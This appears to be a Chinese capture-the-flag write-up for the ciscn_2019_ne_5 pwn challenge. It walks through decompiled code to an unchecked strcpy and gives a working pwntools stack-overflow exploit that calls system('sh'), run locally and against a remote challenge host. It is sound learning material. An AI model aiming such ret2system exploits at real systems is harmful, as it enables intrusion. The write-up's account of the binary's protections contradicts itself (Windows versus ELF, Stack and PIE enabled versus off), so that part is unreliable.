解析
PWN题ciscn_2019_ne_5,第一步,查询版本保护等信息,命令checksec filename,32位windows文件,开启保护有RELRO,Stack,NX,PIE。
保护都是什么意思:
1.Arch:编译的时候是多少位编译的。
2.RELRO:分为两种情况,第一种情况是Partial RELRO,这这情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。
3.Stack:这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。
4.NX:为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用。
5.PIE:PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址,不可能通过一些工具进行解题了。
根据图片我们可以知道,是32位elf文件,未开启金丝雀,开启栈内禁止执行,地址无关也未开启。
进入看到main函数,但是无法进行反编译,是一个地址跳转出现错误,并且爆出一地址是0x08048801,那么就先去找到这个地址所在的地方,反编译出来是一个scanf函数。
int __isoc99_scanf()
{
return _isoc99_scanf();
}
之后在回到main函数中进行反编译,则可以获得到main函数的反编译。
代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // [esp+0h] [ebp-100h]
char src[4]; // [esp+4h] [ebp-FCh]
char v5; // [esp+8h] [ebp-F8h]
char s1[4]; // [esp+84h] [ebp-7Ch]
char v7; // [esp+88h] [ebp-78h]
const char *v8; // [esp+E8h] [ebp-18h]
int *v9; // [esp+ECh] [ebp-14h]
int *v10; // [esp+F4h] [ebp-Ch]
v10 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(&v7, 0, 0x60u);
*(_DWORD *)src = 48;
memset(&v5, 0, 0x7Cu);
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf();
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
v9 = &v3;
v8 = "%d";
__isoc99_scanf();
switch ( v3 )
{
case 0:
exit(0);
return;
case 1:
AddLog(src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}
之后进行分析,在linux下运行一次,运行的时候会直接输出Welcome to use LFS.和Please input admin password:,根据反编译的第14行if ( strcmp(s1, “administrator”) )可以判断,密码输入的是administrator,之后进入了下面的第29行输出Welcome!,之后输出四个选项,下面还会继续让你输入值,在第反编译第39行,分析如下,如果输入0,那么则会退出返回0,输入1进入AddLog函数,会输出Please input new log info:之后继续进行一个输入实际你第二次在Please input new log info:输入的值,是没有任何作用的。
AddLog的代码如下:
int AddLog()
{
printf("Please input new log info:");
return __isoc99_scanf();
}
如果输入2,则会进入Display函数这里是会返回一个值,是一个整数。
int __cdecl Display(char *s)
{
return puts(s);
}
如果输入3,则进入Print()函数,这个函数有一个敏感的system,可以用来使用,所以我们现在目前缺的,就是一个/bin/sh的一个参数。
int Print()
{
return system("echo Printing......");
}
输入4进入函数GetFlag,发现一个漏洞函数strcpy,根据strcpy是这么描述,可以接收无限量大的字符,直到遇到\x00但是在这个GetFlag里面没有任何对于我输入的字符进行校验和长度校验,所以出现了一个漏洞。
攻击思路:首先要进入到选项里面,所以第一个要先看到Please input admin password:之后输入administrator,之后要写入所以我们写入在1中写入,之后利用4去输出,所以输入1,看到Please input new log info:写入payload,之后在输入4,让他输出(执行payload),思路有了,system有了,找一下/bin/sh,但是找不到/bin/sh,但是找到了sh也是可以的。
编写脚本:先看栈,strcpy(dest, src);其中的变量是dest在栈里申请的空间是0x48,之后距离ret有0x04的距离,所以,需要覆盖的空间是0x48+0x04 之后system的地址是0x080484D0,sh的地址是0x080482ea,在这两个中间需要四个字节填充,shellcode形成,所以脚本也形成,在本地打一下,成功获取到自己的shell。
from pwn import *
p = process('./ciscn_2019_ne_5')
context(os = 'linux',arch = 'i386',log_level = 'debug')#系统linux,i386,debug的方式
p.sendlineafter('Please input admin password:','administrator')#运行之后,写入administrator
payload = b'c'*(0x48+0x04) + p32(0x080484D0) + b'aaaa' + p32(0x080482Ea) #溢出+覆盖返回地址+system的地址+ 填充 + sh的地址
p.sendlineafter(':','1')
p.sendlineafter('Please input new log info:',payload)
p.sendlineafter(':','4')
p.interactive()
之后打远程
只需要把p = process('./ciscn_2019_ne_5')
换成p = remote(ip(域名),端口)即可。
from pwn import *
#p = process('./ciscn_2019_ne_5')
p = remote('node4.buuoj.cn',27497)
context(os = 'linux',arch = 'i386',log_level = 'debug')
p.sendlineafter('Please input admin password:','administrator')
payload = b'c'*(0x48+0x04) + p32(0x080484D0) + b'aaaa' + p32(0x080482Ea) #溢出+覆盖返回地址+system的地址+ 填充 + sh的地址
p.sendlineafter(':','1')
p.sendlineafter('Please input new log info:',payload)
p.sendlineafter(':','4')
p.interactive()
运行之后直接执行cat flag,获取到flag。